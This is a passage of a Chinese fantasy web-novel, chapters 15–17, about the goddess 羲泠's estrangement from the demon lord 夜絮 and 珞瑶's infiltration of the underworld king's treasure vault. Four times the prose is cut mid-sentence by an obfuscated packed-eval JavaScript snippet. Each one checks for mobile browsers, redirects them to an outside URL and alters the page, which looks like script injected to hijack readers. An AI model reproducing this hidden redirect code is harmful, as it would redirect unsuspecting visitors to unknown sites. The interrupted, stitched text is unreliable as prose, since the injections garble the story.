羲泠的确经常下界救助伤者,可那些小伤对她来说都不足一提,大多数时候只要挥一挥衣袖就能解决,这次居然让她破坏了清月琴,不知是多么严重的伤势。 要知道,上次让她琴弦尽断的可是…… 朝梧心头一紧,虽然没有宣之于口,但已经隐隐生出担忧来。 羲泠调整好心绪,状态已经比刚才自然多了,“当然了,我还能骗你不成?” 见事情败露,她索性不藏了,把破损了的琴重新放回到琴桌上。 朝梧走近,蹲在桌前仔细查看,叹了口气,“琴弦接不上,必须要去找琉璃蚕丝了。” 羲泠沉默着点了点头。 方才她一直在尝试重新接上琴弦,但都无果,眼下唯一的办法就是去魔界找到琉璃天蚕的洞穴,拿到琉璃蚕丝。 其实以神族的地位,平时想要什么东西只消一句传讯,下界就会很快呈送上来,琉璃蚕丝虽然百年一生,但用途不广,算不上多么珍贵。 无奈它在魔界,以羲泠的性子,是一定不会撇下面子问孤妄崖讨要东西的。 “走吧,左右没事,我和你一起去。” 朝梧舒了口气,站起来道,但羲泠摇了摇头,“你在人间奔波了那么久,还是留下休息吧,我自己去。” 她说着,一边抱起琴。那双眸子与其兄相似,琥珀般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202260|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的底色里泛着一抹淡淡的金茫,像清晨撒入窗牖的曦光,耀眼而不刺眼。 相比其兄的温和沉静,她的目光里却常含着固执。 看着眼前比自己矮半头的少女,朝梧到底没有再坚持,眼露无奈,伸手揉了揉她头顶。 …… 羲泠刻意收敛气息,来到了魔族地界。 她翻越山水,只身潜入了湿地深处,没有惊动任何人,很快循着记忆里的位置找到了琉璃天蚕的洞穴。 山壁一颤,沉睡着的琉璃天蚕被外面刻意制造出的声响惊动,愤怒地爬出了洞穴,朝着入侵者的方向吐出了蚕丝。 羲泠躲过攻击,旋即变作真身白狐与之周旋,她有意地将琉璃天蚕引至不远处的低矮丛林,又长又韧的蚕丝勾缠在枝桠间,在光影里反射出五彩斑斓的光。 论体型,白狐在琉璃天蚕这个庞然大物面前称得上娇小玲珑,但胜在身姿灵活,羲泠没有施展神力,游刃有余地穿梭在林间,将琉璃蚕丝全部收入了囊中。 天边不复晴朗,忽然变得乌云沉沉,一道紫影划过,落向地面现了身。 羲泠发现了来人,脸色一僵,迅速从与琉璃天蚕的打斗中脱身了出来。 她变回人形,神情有些不自然,夜絮在她几步之外,话中听不出是何种情绪,“神君来魔界一趟,为何不向界主殿传讯?我也好尽地主之谊。” 羲泠不愿与他多说什么,十足公事公办的口吻,“我来只为办一件小事,很快就会离开,就不必劳烦魔尊了。” 毫不意外地被她拒绝,夜絮的目光沉了几分,缓缓走向她。 羲泠没有退后,如同和他较劲一般,偏过了头。 隔着半步距离,夜絮能清晰地看见她倔强的五官轮廓,曾经那双时刻发着光的杏眸,现在却沉寂下来,连一个眼神都不愿分给他。 “就那么不愿意见我?”他喉咙微哑。 羲泠立刻抬起眼,冷冷道:“自作多情。” 夜絮习惯了她冷淡的态度,只是自嘲地笑了笑,自觉向后退开半步,拉开了两人的距离。 琉璃天蚕感受到同族统治者霸道的气息,早已没了方才的气焰,闷声不响缩回了洞穴。 羲泠的蚕丝还没收集完,眼下没了机会,心中对眼前人的不满更深了一层。 对此,夜絮浑然未觉,询问她的语调平稳,“为什么好端端地来取琉璃蚕丝,清月琴的琴弦坏了?” 他毫不费力地就猜了出来,隐瞒也是无用,羲泠不置可否,扫了一眼已经拿到手的蚕丝,只达到了一半的量。 “还不够。”她道。 如果仅仅只是因为灵力波动损坏了一两根弦,这么多蚕丝就完全够用。夜絮原本是这样认为的,但现在看来并非如此。 他隐隐意识到什么,目光渐寒。 这世间没有多少伤病能难倒羲泠,更不用说让她动用清月琴,付出弦断琴毁的代价。 之所以会出现这种情况,一定有两个原因,一是受她所救之人重伤,本身就需要她全力疗愈;二是那人的伤势让她心绪波动,极度伤悲,施展神力救治时才会疏忽,失手弹断了琴弦。 五千年前,清月琴第一次在她手中发生毁坏,今日是第二次。 15. 晴光业火(六) 思及此,夜絮胸膛起伏,“是谁?” 是谁让你如此在意,才在为他疗伤的时候损坏了清月琴? 羲泠先是愣了愣,不过很快明白了他的意思,刚刚平静不久的脸色复又冷了下来。 “不关你的事。” 说完,她便准备越过他,却被一把握住了手臂。 夜絮不让她走,那双深潭般的黑眸不似往日倨傲,里面含着伤痛、挣扎,甚至祈求,“阿泠,告诉我,是谁?” 羲泠忍了又忍,半晌不作声,她望着他,须臾,说不清是心软还是什么情绪使然,“上次羲洵闭关时意外神魂受损,我为他疗伤才损坏了清月琴,不行吗?” “羲洵闭关是为炼制神器,以他的修为,怎么会因此而受伤?” 她说得含混,让夜絮难以相信,一时间失了分寸,抓住她手臂的力度更大了,“究竟是谁,仙族,灵族?还是之前就爱慕你的那个——” 这番近乎盘问的话语彻底点燃了羲泠心中的怒火,她重重甩开了他,口不择言道:“就算不是羲洵又怎么样,你是谁,你凭什么管束我?我的琴弦能为了救你断一次,就能为别人断第二次!” 夜絮愣在原地,面上逐渐失了血色。 从前,世人不知神明也能陨落,直到那天风雨瓢泼,雷电夺去日月的光辉,将昔日高高在上的巫神贬入了尘泥。 天际之间阴沉无光,他从神坛跌落,无声无息地坠了下去,满身是血,像一片漂泊无依的枫叶,白狐嘴上说着什么仇什么恨,最后还是跳出云间托住了他的身体,陪他一同落向地面。 他的神骨被强行剔除,已经出现了魂飞魄散的前兆,冰冷的雨水稀释了他身上的血迹,留下满地猩红。 为了给他续命,羲泠无视天道的警告,不顾一切地动用了全部神力,清月琴在她指间铮鸣不止。 那一次,她足足弹了三天三夜,最后十指全是血,琴弦尽数崩断。 她救了他,待他终于艰难醒转,她却头也不回地离开了,半步都没有停留。 他是谁? ……他到底是谁呢? 夜絮有些茫然地想着,半晌,理智才艰难地将他拖回了现实——他早已不是过去那个干净无暇的神明了。 羲泠急喘着气,这时才意识到自己方才说了多么伤人的话,但话已出口,岂有收回的道理? 她心里一团乱麻,仓皇地转身离去,不过走出去几步,却被人从身后拥住了,“阿泠……” 男人低哑的声音传入耳朵,顿时让羲泠浑身僵住了。 她能感受到那熟悉的气息、温度,隔着轻薄的布料,连彼此心脏的跳动声都清晰可闻。 有多久没有这样挨近过她了? “我们从前不是这样的。” 夜絮近乎贪恋地感知着她的体温,眼底划过痛色,“你在神位多年,还是不能原谅我吗?” 其实羲泠清楚,当年仙界的惨祸是由老魔尊一手酿成,那时夜絮早已飞升离开魔界,根本怪不到他头上。 起初,她也想用这个理由说服自己,直到夜絮陨落回到魔界,再度成为了魔族的一份子。 神明爱众生,对待六界一视同仁,对就是对,错就是错,巫神夜絮可以正视魔族犯下的错误,但魔尊夜絮不能,入主界主殿后,他开始遮掩先辈的过失,只为保全孤妄崖的尊严,不论是自愿还是违心。 这是他身在其位必须做出的选择,代价是每走一步,都要与心上人渐行渐远。 “我与魔尊素无过节,谈何‘原谅’?” 羲泠忍着泪意,从喉间逼出一声嗤笑,“说起来,我还要多谢魔尊,如果没有当年魔族‘出力’,我也不会那么快就登上神位。” 她近乎残忍地揭开了横在两人之间的伤疤,夜絮的呼吸本就不稳,听后遽然停了一瞬,紧接着剧烈颤抖起来。 世间修炼者仰望神族,将飞升视作毕生宏愿,然而数万年沧海桑田,真正修出过神骨的也不过寥寥九人。 现存神族之中,羲洵、沧丞、朝梧……以及夜絮自己,他们修炼万年,才终于扛过雷劫得以飞升,但羲泠不同,她是众神之间年纪最小的一个,也是唯一通过乾坤道飞升的神明。 凡各界先贤为大义牺牲,其后代可以挑战乾坤道试炼,如若通过,就可以继承先辈修为登神。可以说,乾坤道是为各界天骄开放的一条特权之路,亦是天道对忠烈之后最后的悲悯——当年魔族援兵来迟,老仙主华辛牺牲,于神魂将散之际托付遗愿,羲泠因失去至亲悲痛欲绝,痛哭数日不止,最终还是擦干眼泪,选择踏上了这条道路。 千万年来,乾坤道试炼无一人成功通过,直到那天羲泠飞升,属于音律神的启世明光照彻了整个天地云霄。 她生性活泼爱自由,本无成神之心,若五千年前魔界支援及时,那场惨剧没有发生,她便永远不会挑战乾坤道。 夜絮想争辩,想反驳,却偏偏一句话都说不出。他何尝不知,族仇家恨,是他们之间永远跨不过去的鸿沟。 他脸色惨白,一阵无力感袭卷了全身,缓缓松开了紧抱她的双手。 松手的那一刻,羲泠的身体跟着晃了晃,一行泪默然无声,顺着脸颊滑下来。 “回不去了……我们回不去了。” 她说着,也不知在提醒他还是警告自己,几乎是落荒而逃。 夜絮留在原地,极度悲怆下,过去因天雷留下的伤痕好像又苏醒了过来,刺得他钻心的疼。 他捂住胸口,缓慢蹲下了身体,蜷缩成一团。 …… 次日,孤妄崖还是遣使登上神山,送来了大批琉璃蚕丝。 满满一匣,足够羲泠用很久。 朝梧担心羲泠,亲自来到她的洞府,把东西交给了她。羲泠微微失神,望着手里沉重的匣子,却是一阵怅然若失。 “阿泠,莫要再和夜絮起冲突了……如果老仙主还在,一定不愿意看见你活得这么累。” 朝梧不忍,将要离开时还是停下脚步,走回她身边,后者摇摇头,脸埋在朝梧肩上,闷声不说话。 自从飞升到现在,羲泠对仙界的感情越来越平淡,从前的悲痛也越来越少,基本已经被神格消磨殆尽,有时她不愿接受,就会问自己——你还怀念蓬莱吗?还惦记华辛吗? 很淡,几乎感觉不到。 她在心里说,忘记母族,这是神的本能。 ——那为什么还恨夜絮? 她答不上来了。 羲泠闭上眼,她当然清楚自己为何如此,其实那根本不是恨,只是她通过自我催眠和不断逃避,强行包装成了“恨”的模样。 在履行神职上,音律神普救万物,对六界一视同仁,可她的神格始终不够纯粹。 因为她将所有不甘的偏执和苦痛,全都施加在了一人身上。 庭中空旷,片刻,一道略显压抑的哽咽声低低响起来。 …… 转眼到了五日后。 这天,冥都四处戒严,沿街都挂上了彩灯,衬着难得皎洁的月色,远看竟有几分人间的热闹。 界主的生辰宴乃是百年一度的盛事,因此,冥王的万寿宴人影熙攘,来的都是各界举足轻重的人物,与往常不同的是,此次竟有神明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202261|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 降临了冥界。 天光乍亮,两道颀长的身影一白一青,在举办宴席的永德台外现身。 上界的众神清心寡欲,极少在各族举办的宴会上露面,没想到会毫无征兆地驾临。 众人感到意外,纷纷揖手行礼,东道主伯池亦是始料未及,忙亲自起身迎接来人,不忘连声告罪。 沧丞依旧是一副随和的模样,见谁都带笑,摆了摆手,“冥王的万寿宴如此隆重,我们两个闲来无事,便过来凑一凑热闹。诸位不必在意我们,尽兴就好。” 尽管沧丞这样说,但神明面前,又有几人敢松懈?都显得拘谨了不少,心中又暗暗艳羡:也不知伯池是如何表现的,竟有这天大的面子,能让神明亲临为他贺寿。 其他人怎样想,羲洵和沧丞只当作不知,由着伯池引进宫殿,毫不意外地被安排在了最首的位置。 落座后,丝竹弦声尽起。沧丞装作无意地望了一眼羲洵,见他好整以暇,丝毫没有进行下一步的态势,暗暗摸不着头脑。 这些日子,羲洵和珞瑶在冥界寻找归魂灯,神山上的众神也没闲着,四处打探“雾河”到底是何方神圣,与其他几位神君相比,沧丞窝在自己的地盘足不出户,几乎翻遍了神界留存的所有先贤古籍,各种晦涩难懂的古体字和咒文看得他不知今夕何夕,至今眼前都在冒星星。 现在,他被羲洵招来坐在这寿宴首席上,看似是件难得放松的美差事,实际上耳听八方眼观六路,精神高度紧绷,还不如睡在书阁里做一只迷茫的书虫。 羲洵看起来泰然自若,一身月白色长袍纤尘未染,下摆随意铺叠在光洁的地面上,冥宫的随侍为他斟上酒,他也从容地喝了,举手投足没有半点别有用心的迹象。 看着杯盏里黑漆漆的露酒,羲洵喝得自然,沧丞将信将疑地跟着尝了一口,齁得差点吐出来。 这冥王的品位还真是独特…… 他忍辱负重,到底还是咽了下去,用折扇掩了面容,问羲洵:“你说让我帮你来找归魂灯,现在却在这儿傻坐着,如何能找到?” 羲洵不置可否,眸中泛起一点不易察觉的笑意。 “你看门口。”他道。 沧丞未解,目光随着羲洵望向外面,却看见了一个令他意想不到的生物——殿门外衣裙缥缈,小小一只的丹狸冲着他们挤眉弄眼,顶着透明的身形晃了晃尾巴尖,在幻术失效之前脚底抹油般溜走了。 沧丞一愣,压低声音道:“那不是珞瑶的小红猫吗,它怎么会在这儿?珞瑶人呢?” 事情发生得匆忙,一个时辰前沧丞还在书堆里,转眼便被羲洵的一只传音蝶薅到了冥界,现在只知“要找归魂灯”和“伯池有问题”两件事,至于谁去找、如何找则一概不知情,就连原本和羲洵在一起的珞瑶去了哪里,他都没来得及问。 神明威严,无人胆敢直视,低语时也无人敢生出窥探之意。 羲洵以酒盏掩唇,道:“珞瑶在暗,我们在明为她打掩护,若有变故,自有丹狸传音。” 沧丞思索一番,渐渐从他简练的交代里品出味来,伯池疑心重,难怪羲洵和珞瑶要分头行动,还把他从神山上拉了下来。 若他猜得不错,珞瑶现在应该已经潜入冥宫了,有他和羲洵坐在这里,饶是珞瑶那边因为些许疏忽暴露了马脚,伯池也不好走开。 “好计谋。” 沧丞赞道。有了心理准备,他的担忧少了许多。 羲洵放下酒盏,目光不着痕迹地投向坐在对面席案后的山羊胡男人,这个人,也算他们这次行动的目标之一。 伯池手下最宠信的大臣,楚阴侯。 16. 晴光业火(七) 沧丞猜得不错,另一边,纭姬和珞瑶遮蔽了气息,悄无声息地进入了冥宫。 这里的建筑以黑色和银色为主,内设大都华丽大气,是与澜渊完全不同的景象。 纭姬跟随嬴夫人多年,对冥宫可谓是了如指掌,两人幻化成鬼魂形态,扮作女官装束一路深入,巧妙躲过了所有布防,穿越诸多宫殿,最后来到了最中心的界主殿前。 冥王伯池处理政务的地方,后殿便是他的寝殿。 “就是这里了。” 纭姬道,望着眼前宏伟肃穆的建筑,眸子里暗光涌动。 曾经,明明她们也是这里的主人,如今却鸟尽弓藏,遭人背弃。 “自从夫人落败,伯池就在界主殿周围设下了针对嬴氏的结界,唯恐夫人逃出焰息山篡他的权,我进不去,只有在外面等着圣女了。” 两人躲在假山后,前方便是界主殿,纭姬认真叮嘱,把所有能想到的事项都悉数告知。 “圣女记住,进去寝宫后如果看到有鬼火飘荡在角落,一定不要靠近,那些都是伯池的眼线,一经碰触,他就能立刻感知到你的存在。” 珞瑶点了点头,把她的话一一记在了心里,端起提前截下的政务卷宗,向大殿门口走去。 珞瑶自己封印了一部分灵力,又扮成了女官的模样,果然没有被外面的重重侍卫发现问题,很顺利地进入了内殿。 这个时辰,原本侍奉在界主殿的内侍都出去吃酒了,偌大的殿里只有珞瑶一个人。 她不动声色环视一周,直奔后殿寝宫的方向去,甫一踏足,便看见纭姬说过的鬼火团分布在四个角落,正无声闪烁着。 这些火苗看上去单纯无害,只作简单的照明之用,其实里面大有文章,每簇火苗都有各自照亮的范围,但这一范围的界限究竟在何处是极难分辨出的。 一旦走进它们照亮的地方,就触碰了界主殿的禁制。 珞瑶用目光大致推测了一下鬼火能监控到的空间,随后放轻脚步,每一步都精准地踩在了安全的区域。 她悄然前行,靠近了深处伯池所居的床榻,检查一圈,什么都没有发现。 不在这里。 寂静的环境里,珞瑶眯了一下眸子,视线扫过周遭的窗牖、乌木几案、银丝麒麟纹屏风,都没有发现归魂灯的线索。 伯池对归魂灯极为重视,想必不会放在一眼就能看见的地方。 循着这一念头,珞瑶缓缓踱步,观察四周的陈设和物件,衣角擦过一只空的琉璃花樽,发出几声泠泠的轻响。 她有所觉,蓦地停了下来。 角落,那只不起眼的花樽微微晃动了几下,却没有倒下去,又自顾自站稳了。 以这只花樽中间宽上下窄的外形,本不该如此稳固。 珞瑶心中有了一个隐约的猜测,弯腰握住花樽,使力一转—— 下一刻,那扇银丝麒麟屏风从中间分成了两半,云雾散去,一间暗室赫然映入了眼帘。 各界王室为了保护灵宝不遭盗窃,通常会修建机关暗室或秘窖用以储存,不过珞瑶确实没想到,伯池会将冥族暗室设置在自己的寝宫。 暗室门口,千丝万缕的蛛网缠绕着,几乎将整个通道都围了起来。 珞瑶靠近,看见细细的蛛丝上灵力涌动,原来,这蛛网并非荒废破旧的痕迹,而是类似于那些鬼火的“眼线”。 蛛网被破,意味着暗室遭窃,整个冥宫都将被惊动,消息应该也会立刻传到伯池的耳朵里。 好在这蛛网对修为的要求并不高,以她现在自封灵力的状态,依然可以轻松穿过去。 珞瑶观察清楚了,正想化作一缕轻烟飘进去,这时候,界主殿外面突然传来了声音。 殿外,侍卫牢牢守着门,一个高大的男人立在他们对面,武将装束,外面披着件银灰色的狐皮裘氅,繁复的珠链挂在上面,更添了几分令人不敢直视的贵气。 “我在这里察觉到了幽族的气息,要进去排查一番。”男人道。 为首的侍卫首领恭敬行礼,却没有让路,“将军说笑了,界主殿重重把守,怎会潜藏幽族?” 男人面不改色道:“眼下已有高阶幽祟入界,不怕一万,就怕万一,我总要为冥王的安危负责。” “冥王的安危自有我等护卫,就不劳将军费心了。” 侍卫首领低首道,全然没有开门的意思,男人笑意未褪,目光却渐渐变冷,那双暗红色的眸子里流露出危险。 “若我今日非要进去呢?”他道。 气氛顿时剑拔弩张起来,侍卫首领似有所忌惮,半晌没说话,身边的手下低声提醒:“统领,圣使监管族界,的确有权随时出入界主殿……” 界主没有过明晰的命令,他们理应按照规矩行事。 侍卫首领权衡片刻,还是退让一步,决定妥协,“既然将军执意如此,属下也不好抗命,只是切记不要踏足后殿,将军在冥界多年,应该知道王不喜他人踏足自己的寝宫。” “放心,我对那里没兴趣。” 高大沉重的殿门缓缓打开,侍卫恭敬让开了道路,男人大步走了进去。 由于离得远,珞瑶只听见侍卫称来人为“将军”,其他的话基本上都没有听清楚。 她借送公文的名义潜入界主殿,刚刚打开暗室的机关,谁成想会有人突然到来? 这一变故将珞瑶打了个措手不及,却也别无他法,立刻重新回到那琉璃花樽面前,打算先关上暗室门,等打发了来者再行动。 然而,令珞瑶意想不到的事发生了——当她再度旋拧花樽的时候,那黑洞洞的暗室却没有半点关闭的反应,她又转了几次,竟还是分毫未动。 看来,这又是一个冥族针对盗窃者的圈套。 蛛网是保护暗室的第一道屏障,纵有实力高深者成功潜了进去,但这里机关复杂,大门只要打开就没有那么容易关上,终归无法神不知鬼不觉地全身而退。 不过几息功夫,那道气息变得越来越近,明显正朝她的位置而来,而且根据身上的气息判断,来人应非等闲之辈。 珞瑶心下微紧,封印自身灵力后她无法藏匿,好在事先化成了界主殿女官的样貌,倘若伪装得好,应该不会引人疑心。 她保持冷静,自然地走了出去。 “谁?” 后殿深处传来轻响,男人停下脚步,目光投向声音来处,只见一个女子缓缓从厚重的纱帐后现了身,长相平常,着女官衣袍,却不是平时那些内侍卑躬屈膝的姿态,腰板挺得极直。 她从内室走出来,冷如清水的眸子就那么直直地对上了他的目光,没有半分低眉顺眼的自觉。 难得在冥宫里见到一个如此另类的侍从,男人莫名起了点兴趣,“你是侍奉冥王的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202262|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女官?我好像从未见过你。” 男人观察珞瑶的同时,珞瑶也在不动声色地观察他,却在看清他面容的那一刻怔了怔。 高鼻深目,暗红色的瞳眸……这张脸,竟然与她上次梦境中看到的那个男人一模一样。 她为什么会梦到他? 如果梦境是假的,她对其中缘由不得而知,兴许是巧合;如果是真实发生过的事,她与此人分明素未谋面。 珞瑶心下微惊,但面上没有表露出半分,暗暗思量着如何回答他的话。 男人衣着华贵,外面的侍卫又称他为将军,证明应该是个有头有脸的人物,不过冥族的女官品级都颇高,未必会被此人压一头,更不用说她现在的身份还是冥王的御前女官。 思及此,珞瑶没有答他的话,而是选择了一个折中的回应:“我也从未见过将军。” “你倒是胆子大。” 男人的声音听不出喜怒,眯起眸子,抱臂走到她面前,审视的视线毫不遮掩地打量着眼前人,绕到她身后时,他的脚步几不可察地顿了一下。 好熟悉的气息…… 他目光微动,悄然勾起了唇角。 “也罢,看来你真是新来的女官。先前我镇守边疆,刚刚被调回都城不久,你不认识我也正常。” 许是心情好,男人并未发怒,语气颇为随意,好像方才表露出的压迫感都是假象。 “以后,我们应该会经常见面的。” 他话中似有深意,珞瑶抬起眼,他却没有再说什么,径自越过她,走向她出来的内室深处。 他原本不打算踏足伯池的寝殿,过来只是为了从送来的奏折中截走几本军务,可是没办法,现在他改变主意了。 男人闲庭信步,轻而易举避过了鬼火监控着的亮圈,走过宽敞华丽的卧榻,那间幽深的暗室没能关上门,就这么大敞着进入了他的眼帘。 他目光锁在那处,先是意外地沉了沉,但很快便反应过来。 “原来他把暗室迁到了这里,难怪这些年对他的寝宫严防死守,生怕人发现。”男人一嗤。 珞瑶没有出声,但心逐渐放了下来。也许这个人不清楚界主殿女官的权力大小,也许这些女官本就深受伯池信任,有权开启冥族暗室。 无论是何种原因,总之,他暂时没有怀疑到她头上。 这时,男人回头望向她,好整以暇地挑了挑眉。 “既然都打开了,何不进去看看?走吧。” 对这间暗室来说,真正保险的禁制在于界主殿外的侍卫,和寝宫周遭长燃不息的鬼火,门前的蛛网起最后屏障的作用,但威力并不算多么强。 说完,男人的身形渐渐变得透明,化作真身鬼魂,自顾自穿过了蛛网缝隙。 珞瑶见状也跟了上去,无声无息飘进了暗室。 这里的空间宽阔,但环境阴寒昏暗,倒与六界对冥族的印象十分符合。 珞瑶手中擎着烛台,烛光渐盛,很快点亮了周遭,紧挨墙壁的乌木雕花架足有几人高,其上摆着数不清的灵物法器,均是天下无二的珍贵秘宝。 她目光逡巡过满室珍宝,往里面走了几步,最后锁定在最深处的玉龛顶部。 一盏灰琉璃制成的灯静静立在上面,灯芯未燃,充盈的灵力悄然涌动着,将整个灯身映成了流光溢彩的颜色。 果然在这里。 17. 晴光业火(八) “眼光不错,居然一眼就看中了嬴氏的东西。不过可惜,伯池视它如世间至宝,应该不会轻易给你。” 男人不知何时跟了上来,抱臂走到她身侧,话中隐有深意。 珞瑶从中捕捉到了蛛丝马迹,伯池和嬴氏一族的纠葛是冥界秘辛,但这个人好像清楚不少内情。 她眸中含了探究:“将军似乎知道很多事。” 这副面孔,珞瑶确认自己从前没有见过,也就唯有梦境那一次,但当认真感受他的气息时,竟生出了一丝似是而非的熟悉感。 男人哂笑,没有正面回答:“不取下来看看?放心,我不会告发你的。” 说完,他朝着高处的归魂灯扬了扬下巴。 倘若这个人不在场,珞瑶一定会毫不犹豫地行动,可如今他就在这里,身份不明,态度可疑……不免令人心生顾虑。 幸而珞瑶不是普通女官,即使犹豫也只是一瞬,不会因他的制约而畏首畏尾。 时间有限,她没有精力与他假意周旋。 权衡过后,珞瑶飞身而起,跃至玉龛前。 然而,就在她指腹触碰到灯的那一刹那,原本没有燃起的归魂灯却无端一闪,表面居然放出了一股猛烈的电波,迅速传至人指尖。 “滋——” 珞瑶一惊,立刻从归魂灯前退开,手指被电得微微刺痛。 没等她落地,那玉龛之后发出一阵窸窣声响,仿佛皮肉擦过粗糙的树皮,诡异又刺耳。 整个暗室的地面都微微颤抖起来。那刺耳的声响越来越近,片刻后,黑暗处缓缓现出庞然大物,竟是一条通体银白的巨蛇! “哦,伯池为了保护归魂灯,还在此安排了守护兽。” 男人的声音适时响起,但听起来实在没有意外的意思,反而像早有预料。 面前就是巨蛇,珞瑶一边缓缓后退,目光一扫,注意到了那碗口粗的蛇尾上的一圈圈黑斑。 她心下顿生恍然——如果没有猜错,这是冥界独有的凶兽锡蛇,周身带电,方才灯上的电流应该就是它发出的。 暗室门口的蛛网机关那般儿戏,原来是想让盗窃者放松警惕,其实真正的“重头戏”藏在这里。 锡蛇被入侵者惊动,很快向珞瑶逼近,张着血盆大口而来。珞瑶被迫出手,反观男人站在一旁气定神闲,半点支援的意思都没有。 珞瑶这次的目的是拿到归魂灯,因此不愿与锡蛇硬碰硬,更多的还是在避让,锡蛇对她紧追不舍,看起来愈发焦躁了。 坚硬的蛇鳞刮过乌木架,在表面留下明显的印痕,一众灵宝也被粗壮的蛇尾抽打得摇摇欲坠。 珞瑶躲避着锡蛇的追击,不忘尽力稳住那些宝物,使它们免遭毁坏。 许是发现了自己伤不到入侵者,过了没一会儿,锡蛇的攻势渐渐减弱了,转而停在原地,从蛇尾处生出一道耀目的电流,缓缓凝聚。 “它在向外面报信。”男人的提醒悠悠传来。 珞瑶一咬牙,很快做好了决定,她飞向空中,两指掐诀,莹蓝色的光直直袭向锡蛇的面门。 锡蛇尾部汇聚的电流消失了,传信被强行终止。 不过几息功夫,它便软绵绵倒地,合上了双眼。 催眠术。 这不算什么高深的术法,六界多的是人修习,但不论有多少人,界主殿的女官作为冥王侍奉笔墨的心腹,都不该是其中的一员。 她的身份暴露了。 珞瑶落向地面,心沉如水。 寂静里,男人的一声笑分外明显,语调微扬:“界主殿还真是卧虎藏龙啊。” 他抬步走向珞瑶,不紧不慢地停在了她面前,声音压低,“还是说,其实你根本不是伯池的女官?” 珞瑶冷冷抬眼,看清了他眼中的戏谑,毫不掩饰地写着四个字——明知故问。 两人对上视线,一个疏远警惕,一个似笑非笑,珞瑶忽然明白了男人的真实目的,以及方才他一系列言行的“用意”。 对她来说,应对一只凶兽不在话下,真正忌讳的是凶兽动用能力传信,将暗室异常的消息捅出去。 不管她真是“女官”,还是其他什么人,都不会眼睁睁看着不利于自己的事发生。 男人深知这一点,之所以煽动她触发归魂灯上的禁制,又在她与锡蛇交手时袖手旁观,就是为了逼她出手,主动露出马脚。 他早就清楚她不是女官,却没有揭穿,而是出言诱导,一步步看着她走进自己的陷阱。 珞瑶不是斤斤计较的性子,但不意味着能容忍他人的蓄意戏弄,何况活了这么久,她还是第一次经历这样的事。 “你是故意的。” 珞瑶声音发冷,突然出手向他攻去,掌心灵力翻涌,足以看出她内心压抑的怒意。 强劲的掌风直逼男人面门,分明是要给他点颜色瞧瞧,若生生受下,鼻青脸肿是没得跑,幸而他反应敏捷,匆匆向后急退,避让着眼前迫人的攻势。 空旷处,锡蛇无声无息陷入了沉睡,全然不知另一边的战况正激烈。 珞瑶在前直追,男人时不时出招抵挡,看似处于劣势,但若仔细观察,便能发现他行动游刃有余,明显是留有余力的。 封闭窄小的环境使人不好舒展活动,两人在暗室中不断周旋,直到珞瑶把男人逼至角落,后者才终于认真对待起来,迎上她凌厉的一掌。 两股不同的灵力相撞、对峙,震得周遭石壁都发起抖来。 刺目的灵光里,珞瑶冷声问:“为什么让我?” 男人的修为比她想象中的更高,且远强于纭姬,放眼整个冥界也是排得上号的佼佼者,以她现在“女官”的修为,想要打败他本是极为困难的。 珞瑶不信他是意识到了自己的恶劣,心有愧意,所以才对她退避三舍。 男人被她用灵阵死死困在墙角,明明身在下风,那双眸子里却含着炽热的亮光,“若我说是因为对你仰慕已久,你信吗?” 他言语大胆,明显是胡诌,饶是珞瑶情窍未开不懂那么多,此刻也觉得不中听。 她皱起眉头,手下牢牢缚着他的灵阵又有收紧的态势,这次男人是真吃痛了,脸上的笑也僵了僵,终于不情不愿地收回了嬉笑之色。 “别打了……再打下去,外面的侍卫就要被引进来了。” 珞瑶屏息静听,的确听到殿外隐有骚动声。 她是没有再继续动手,但也没打算轻易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208783|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放过眼前人,指尖一动,灵阵便灵活地变换了形态,转而化作一个类似铁笼的容器,将他困在了里面。 方才不使出全力,现在被控制住,在她平安离开界主殿之前,就别指望脱身了。 珞瑶不再理会他,又去看归魂灯,发现锡蛇虽然被催眠,但灯上的禁制依然在,也就是说,就算她解决了锡蛇,也没有办法带着归魂灯离开。 她在这里逗留了太久,再拖下去,难免会引人怀疑,既然已经确定了位置,不如先行撤离,等到和羲洵他们汇合再想办法。 